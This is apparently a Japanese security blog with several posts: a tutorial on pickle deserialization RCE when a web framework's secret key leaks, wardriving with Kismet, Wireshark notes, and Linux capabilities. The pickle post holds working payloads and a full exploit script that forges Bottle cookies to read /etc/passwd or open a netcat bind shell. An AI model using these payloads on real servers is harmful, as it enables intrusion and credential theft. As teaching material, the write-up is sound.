pickleを利用した任意のコード実行とPython Web Framework
Djangoのサイトを見ていると以下のような記述があった.
Settings | Django documentation | Django
Running Django with a known SECRET_KEY defeats many of Django’s security protections, and can lead to privilege escalation and remote code execution vulnerabilities.
SECRET_KEYが第三者に漏れると任意のコード実行につながるとの記述がある.
が, なぜSECRET_KEYが知られると任意のコード実行が可能になるのかわからなかったので調べてみた.
結論としてセッション管理にpickleを使っているため, 第三者にSECRET_KEYが知られると悪意あるCookieを作れるかららしい.
pickle
Pythonにはオブジェクトをシリアライズ, デシリアライズするライブラリにpickleというものがある.
例えばusersというリストをシリアライズしてみると以下のようになる.
In [1]: import pickle In [2]: users = ["admin", "user01", "mrtc0"] In [3]: up = pickle.dumps(users) In [4]: print up (lp0 S'admin' p1 aS'user01' p2 aS'mrtc0' p3 a.
これをデシリアライズするとusersを得ることができる.
In[5]: pickle.loads(up) Out[5]: ['admin', 'user01', 'mrtc0']
スタックを追ってみる
pickle化されたusersは以下である.
(lp0 S'admin' p1 aS'user01' p2 aS'mrtc0' p3 a.
この (lp0
やS
,p1
はPVMのopcodeらしい.
pickletoolsを使うと逆アセンブルできる.
In [7]: import pickletools In [8]: pickletools.dis(up) 0: ( MARK 1: l LIST (MARK at 0) 2: p PUT 0 5: S STRING 'admin' 14: p PUT 1 17: a APPEND 18: S STRING 'user01' 28: p PUT 2 31: a APPEND 32: S STRING 'mrtc0' 41: p PUT 3 44: a APPEND 45: . STOP highest protocol among opcodes = 0
順に追ってみる.
0: ( MARK
(
はMARK命令でスタックにマーカーをプッシュする.
1: l LIST (MARK at 0)
l
はリストを表している.
もしディクショナリであればd
に, タプルであればt
になる.
2: p PUT 0 5: S STRING 'admin'
p
はPUT命令でpickleでは続く0や1などの数字をmemoと呼んでいるらしくスタックからPOPするときにこのmemoを用いている.
S
は文字列を意味し, 'admin'という文字列をスタックに積んだことになる.
また数値型の場合ははIntegerのI
となる.
続いてa
はAPPENDを表しているため, リストに追加する命令だとわかる.
最後に.
で終了を表している.
任意のコードを実行する
このpickleを使って任意のコードを実行することができる.
cos system
のようなpickleを作成することでos.systemの形でスタックに積むことができる.
例えば以下のようなecho.pickleを作成してunpickleするとecho "Hello, World"
が実行される.
cos system (S'echo "Hello, World"' tR.)
In [1]: import pickle In [2]: pickle.load(open("echo.pickle")) Hello, World Out[2]: 0
これも順に見ていく.
cos system
os.systemをスタックに積む.
スタックの状態は以下のようになる.
| bottom | os.system |
次に (
でMARKがスタックに積まれる.
| bottom | os.system | MARK |
S'echo "Hello, World"'
で 文字列 'echo "Hello, World"'
が積まれる.
| bottom | os.system | MARK | ('echo "Hello, World"') |
t
で MARKと 'echo "Hello, World"'
をタプルにする.
| bottom | os.system | ('echo "Hello, World"') |
R
で ('echo "Hello, World"')
と os.system
をポップして, os.system('echo "Hello, World"')
を実行する.
戻り値がスタックに積まれる.
| bottom | 0 |
このような形でスタックが変移しているらしい.
つまり, 'echo "Hello, World"'
ではなく '/bin/sh'
や 'cat /etc/passwd'
などを積めばシェルを立ち上げたり, passwdを読み込める.
cos system (S'/bin/sh' tR.)
In [1]: import pickle In [2]: pickle.load(open("binsh.pickle")) sh-4.3$ whoami mrtc0 sh-4.3$ exit exit Out[2]: 0
pickleがセッション管理に使われている場合
Python製のWeb Frameworkはいくつかあるが, Django, Bottle, Pyramidなどでpickleがセッション管理に使われている. これらで使用されるSECRET_KEYが漏れるとそれを利用して悪意のあるpickleデータを生成し, Cookieを作成できる.
Bottleアプリケーションを作成して試してみた.
$ git clone https://github.com/mrt-k/vulnwebapp $ cd vulnwebapp/python/ $ python bottle/server.py Bottle v0.12.9 server starting up (using WSGIRefServer())... Listening on http://127.0.0.1:8000/ Hit Ctrl-C to quit.
server.pyは以下のようなもの
from bottle import route, run, response, request, HTTPResponse @route('/') def main(): value = request.get_cookie('account', secret='ThisIsSecretKey') if value: return value @route('/set') def set(): resp = HTTPResponse(status=303) resp.set_header('Location','/') resp.set_cookie('account', 'admin', secret='ThisIsSecretKey') return resp run(host='127.0.0.1', port=8000, debug=True, reloader=True)
http://localhost:8000/set にアクセスするとaccount
という名前で admin
という値のCookieが付与される.
中身は以下のようなもの.
"!Wfeacq3Bv2f+TC3FVRq1bw==?gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4="
bottle.pyのcookie_encodeでエンコード処理がされている. https://github.com/bottlepy/bottle/blob/d567af487ee0ef8a4c669f23b0bc8432302294b9/bottle.py#L2798
def cookie_encode(data, key): """ Encode and sign a pickle-able object. Return a (byte) string """ msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg
sigではsecretkeyを使ってhmacを利用した値が生成されており, msgにはpickle.dumpsでデータをunpickleされたものが入っている.
どちらもbase64でエンコードされている.
pickleされた部分("?"以降)をデコードすると値を得られる.
$ python -c "import pickle; print pickle.loads('gAJVB2FjY291bnRxAVUFYWRtaW5xAoZxAy4='.decode('base64'))" ('account', 'admin')
cookieのデータをpickle.dumpsしているため, secretkeyがわかっている場合, 任意のコードを実行できるCookieを生成できることになる.
このbottleアプリケーションのsecretkeyは ThisIsSecretKey
であるので, それに基づいてcat /etc/passwd
を実行するCookieを生成してみる.
import pickle, subprocess, base64, hmac, requests, sys class getpasswd(object): def __reduce__(self): return (subprocess.check_output, (('cat','/etc/passwd'),)) p = pickle.dumps(('account', getpasswd())) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new("ThisIsSecretKey", msg).digest()) c = '!'+sig+'?'+msg print c
このコードを実行すると以下のCookie値を取得できる.
!EBUIvHZinCyMbqCXnivovw==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUydjYXQnCnAyClMnL2V0Yy9wYXNzd2QnCnAzCnRwNAp0cDUKUnA2CnRwNwou
ブラウザのアドオンなどでCookieをこの値に書き換えると/etc/passwdの内容が表示されるはず.
netcatを実行させてバインドシェルを実行してみるexploitを書くと以下のようになる.
import pickle, subprocess, base64, hmac, requests, sys class getpasswd(object): def __reduce__(self): return (subprocess.check_output, (('cat','/etc/passwd'),)) class nc(object): def __reduce__(self): return (subprocess.check_output, (('nc', '-lvp', '12345', '-e', '/bin/sh'),)) if len(sys.argv) != 3: print("Usage: %s TARGET SECRET_KEY" % sys.argv[0]) TARGET = sys.argv[1] SECRET_KEY = sys.argv[2] # if you want to passwd file # change nc() to getpasswd() #p = pickle.dumps(('account', getpasswd())) p = pickle.dumps(('account', nc())) msg = base64.b64encode(p) sig = base64.b64encode(hmac.new(SECRET_KEY, msg).digest()) c = '!'+sig+'?'+msg print c print requests.get(TARGET, cookies=dict(account=c)).text
$ python bottle_exploit.py !FA5dRLyylZvPhUzMS2HkTg==?KFMnYWNjb3VudCcKcDAKY3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAxCigoUyduYycKcDIKUyctbHZwJwpwMwpTJzEyMzQ1JwpwNApTJy1lJwpwNQpTJy9iaW4vc2gnCnA2CnRwNwp0cDgKUnA5CnRwMTAKLg==
別のターミナルで接続すると(この場合localhostなので面白みに欠けるが), シェルを操作できる.
$ nc localhost 12345 ls bottle bottle_exploit.py create_pickle_payload.py getpasswd.pickle whoami mrtc0
参考
無線LANのAPをGoogle Mapにマッピングする
大学構内で電波が弱いところが多々あってどのあたりが弱いのかなんとなく把握したかったので, KismetとAndroidを使ってAPをGoogle Mapにマッピングしてみた.
別にAndroidじゃなくてもGPSレシーバーがあれば可能.
うまくいけばこんな風にマッピングでき, BSSIDはもちろん, 暗号化方式やチャンネル, 接続しているクライアントのMACアドレスと(大雑把な)製品情報もわかる.
Androidでの設定
以下の2つだけ.
- USBデバッグモードを有効にしておく.
- BlueNMEAをインストールしておく
BlueNMEAを使うことでAndroid端末をGPSレシーバーとしてUSB接続などで利用できる.
BlueNMEAは4352/tcpでListenするため, 後述するadbコマンドでポートフォワーディングしてあげる.
PCでの設定
Kali Linuxだとkismetやgiskismetが既に入っているので楽かも.
ここではArch Linuxを使った.
まず, adbコマンドを使用するためにAndroid SDKなどをインストールする.
このあたりは
Android - ArchWiki
が詳しい.
$ yaourt -S android-sdk $ yaourt -S android-sdk-platform-tools $ yaourt -S android-sdk-build-tools $ yaourt -S android-tools $ yaourt -S android-udev
USBデバッグモードを有効にしたままAndroid端末を接続する.
$ adb devices List of devices attached HT07VHL00676 device
のように表示されたら問題はないはず.
続いて, kismetを導入する.
yaourt -S kismet
/etc/kismet.confを編集する. ncsourceのアダプタ名は環境に合わせて変更.
# mkdir /var/log/kismet ... logprefix=/var/log/kismet ncsource=wlp3s0:split=true,retry=true ...
kismetで収集した情報をkmlなどにエクスポートするためにgiskismetをインストールする必要があるが, レポジトリが見つからなかった.
Kali Linuxのレポジトリにはあったのでこれを使用.
$ git clone git://git.kali.org/packages/giskismet.git $ cd giskismet $ yaourt -S perl-xml-libxml perl-dbi perl-dbd-sqlite $ perl Makefile.PL $ make $ sudo make install
最後にgpsdをインストール.
$ yaourt -S gpsd
スキャンする
Android端末を接続し, adbコマンドでポートフォワーディングの設定をする.
$ adb forward tcp:4352 tcp:4352
続いて, 転送ポートである4352/tcpでgpsd起動する.
$ gpsd -N -n -D5 tcp://localhost:4352
Android端末でBlueNMEAを起動し, PCでKismetを起動する.
# kismet --use-gpsd-gps localhost:4352
歩く
PCとAndroid端末を持って調査したい場所を歩き回る.
Android端末の方はスリープにしてもBlueNMEAは動いているが, PCの方がモニターを閉じるとスリープになるとUSBの接続が切れるかもしれない.
systemdな環境であれば/etc/systemd/logind.confを以下のように編集して反映させる.
HandleLidSwitch=ignore sudo systemctl restart systemd-logind
これでかばんの中にPCとAndroid端末を入れて持ち歩ける.
ログファイルは/var/log/kismet/以下にKismet-
Google Mapで可視化する
giskismetでログファイルからデータをDBに保存する.
./giskismet -x /var/log/kismet/Kismet-<date>.netxml
wireless.db1に保存されている. さらにDBからデータをkmlに変換する.
./giskismet -q "SELECT * FROM WIRELESS" -o output.kml
あとは生成されたkmlファイルをGoogle Mapのインポート機能で読み込ませればいい.
地図に情報をインポート - マイマップ ヘルプ
思った以上にWEPが多い...
パケット解析時のメモ
自分がパケットを解析するときのメモ.
全体の把握
Statistics - Endpoints
- パケット内に含まれるホストを把握する
- パケットを多く/少なく投げているのはどのホストか
Packets
タブで降順/昇順でフィルタTCP
タブでポートとパケット数なども確認
Statistics - Show address resolution
- IPアドレスとドメインのひも付けを確認
- 怪しいドメインはないか?
- db-ip.comなどでホストがどこの国か, また, whois情報などから情報を収集
- virustotalやurlqueryなどのオンラインスキャナーを使用する
VirusTotal - Free Online Virus, Malware and URL Scanner
urlquery.net - Free URL scanner
Statistics - Protocol Hierarchy
- パケット内に含まれるプロトコルとその含有率を確認
Statistics - Conversations
- セッションごとにどのポートからどのポートに, どれだけ通信をしているかを確認
Statistics - IO Graph
- いつごろ通信量が増えたか
- グラフをクリックするとそのあたりのパケットまで移動する
- 気になるホストなどでフィルタをかけ, 色付けするとわかりやすい
Filterの活用
- 気になるホスト, ポートなどでフィルタ
tcp contains "cmd"
やtcp contains "MZ"
などでフィルタ
ファイルの抽出
File - Export Objects
Wiresharkの設定メモ
Wiresharkをインストールしたあとなどのメモ
一般ユーザーでもキャプチャできるようにする
wiresharkグループにユーザーを追加し, dumpcapの権限を変更した後, ケイパビリティで権限を与える.
$ sudo usermod -a -G wireshark <USER> $ sudo chgrp wireshark /usr/bin/dumpcap $ sudo chmod 4750 /usr/bin/dumpcap $ sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap $ sudo getcap /usr/bin/dumpcap /usr/bin/dumpcap = cap_net_admin,cap_net_raw+eip
再起動すると設定が反映され, 一般ユーザーでもキャプチャできるようになる.
USBのパケットをキャプチャする
$ sudo modprobe usbmon
表示時刻の変更
どの時間に何が起こったかをわかりやすくするために View - Time Display Format - Date and Time of Day
に変更.
カラムの変更
Preference - User Interface - Columns
から追加.
Properties
から Field type
で Custom
を選択することでフィルタが使える.
http.hostとssl.handshake.extensions_server_name
を追加し, どのドメインと通信しているのをわかりやすくする.
よく使うフィルタを保存する
[Shift]+[Ctrl]+[P]から設定画面を開き, Filter Expressions
からフィルタを追加する.
追加すると, キャプチャ画面のフィルターペインからワンクリックでそのフィルタを適用できる.
また, 保存したいフィルタがわからない場合はPacketDetailsペインでフィルタしたい項目をクリックするとフィルタが左下に表示されるので参考になる.
それと合わせて DisplayFilters - The Wireshark Wiki を見ておくといい.
このあたりは, 解析したいパケットに合わせて適用するが, 以下は自分がよく使うフィルタをメモとして残しておく.
特定のバイト列が含まれるパケットのみを表示
例えば 0x464c4147(FLAG)
が含まれるパケットを検索したいとき
frame contains 46:4c:41:47
特定の文字列が含まれるパケットのみを表示
マルウェアなどexeやcmdといった文字列を含む通信を行うのでそういったときに...
例えば"exe"という文字列を含むパケットを検索したいとき
tcp contains "exe"
特定のHTTPリクエストのパケットを表示
http.request.method == GET
http.request.method == POST
ケイパビリティ
ケイパビリティとは
スーパーユーザー権限の細かい制御を提供することで, root ユーザーの使用を減らすことができる.
つまりrootか非rootかではなく, もっと細かい単位で権限を与えることが可能.
そのため, setuid属性を付与しなくてもケイパビリティで置き換えることが可能であり, 推奨されている.
実際にpingではCAP_NET_RAWが利用されており, 一般ユーザーでもpingを使うことができるようになっている.
$ getcap /bin/ping /bin/ping = cap_net_raw+ep
ケイパビリティの定義は/usr/include/linux/capability.h内でCAP_から始まるもので定義されている. いくつか抜粋すると以下のようなケイパビリティがある.
- CAP_CHOWN - ファイルのUIDとGIDを変更可能
- CAP_DAC_OVERRIDE - ファイルにアクセス(読み書き実行)可能
- CAP_DAC_READ_SEARCH - ファイルの読み出しと実行可能
- CAP_NET_BIND_SERVICE - 1024番未満のポートを使用可能
- CAP_NET_RAW - RAWソケットおよびPACKETソケットを使用可能
- CAP_SYS_CHROOT - chrootが可能
プロセスの持つケイパビリティを確認する
getpcapsコマンドの引数にプロセスIDを渡して実行する.
以下はhttpd(apache)のプロセスIDを引数として渡した例.
$ getpcaps 27252 Capabilities for `27252': = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
最後の+epはケイパビリティセットを表している.
プロセスはケイパビリティセットを持ち, 以下の3種類がある.
- effective - カーネルがスレッドの権限 (permission) をチェックするときに 使用するケーパビリティセット
- permitted - そのプロセスが持つことを許されているケイパビリティ
- inheritable - 実行時に継承されるケーパビリティセット
fork(2)で作成される子プロセスは, 親のケーパビリティセットのコピーを継承する.
また, capsetコマンドでプロセスは自分自身のケーパビリティセット を操作することができる.
例の場合, +epとあるのでeffectiveとpermittedがセットされている.
実行ファイルの持つケイパビリティを確認する
実行ファイルにケーパビリティセットを対応付けることができる.
- effective - これが設定されていなければ実行したときにプロセスのpermittedが設定されない
- permitted - 実行したときに許可されるケイパビリティセット
- inheritable - 実行時に継承されるケイパビリティセット
実行ファイルのケイパビリティセットを確認するにはgetcapコマンドを使用する.
$ getcap /bin/ping /bin/ping = cap_net_raw+ep
ケイパビリティをセットする
ここではpingコマンドにケイパビリティの付与, 削除を行ってみる.
$ cp /bin/ping /tmp/ping $ cd /tmp $ getcap ./ping
コピーしたpingにはケイパビリティは付与されていない. そのため, 一般ユーザーでは実行してもネットワークソケットを使えずにOperation not permittedと表示される.
$ ./ping 8.8.8.8 ping: icmp open socket: Operation not permitted
setcapコマンドを使って, ケイパビリティをセットする. ソケットを使用するため, CAP_NET_RAWにeffectiveとpermittedを設定する.
$ sudo setcap cap_net_raw=ep ./ping $ getcap ./ping ./ping = cap_net_raw+ep $ ./ping 8.8.8.8 -c 1 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=48 time=54.9 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms
ケイパビリティの削除にはsetcapコマンドに-rオプションを渡す.
$ sudo setcap -r ./ping $ ./ping 8.8.8.8 ping: icmp open socket: Operation not permitted
これを使えば一般ユーザーでは参照できないディレクトリをlsコマンドで参照できるようになる.
man capabilities で調べるとCAP_DAC_READ_SEARCHの項目に
Bypass file read permission checks and directory read and execute permission checks;
とあるのでCAP_DAC_READ_SEARCHを付与すれば, ファイルの読み出し権限のチェックをバイパスできる.
実際にlsコマンドとcatコマンドに付与し, /root/hidden.txtを読み取ってみる.
$ cp /usr/bin/ls /tmp/ $ cp /usr/bin/cat /tmp/ $ cd /tmp $ ./ls /root ./ls: ディレクトリ /root を開くことが出来ません: 許可がありません $ sudo setcap cap_dac_read_search=ep ./ls $ ./ls /root hidden.txt $ ./cat /root/hidden.txt ./cat: /root/hidden.txt: 許可がありません $ sudo setcap cap_dac_read_search=ep ./cat $ ./cat /root/hidden.txt This file is root's file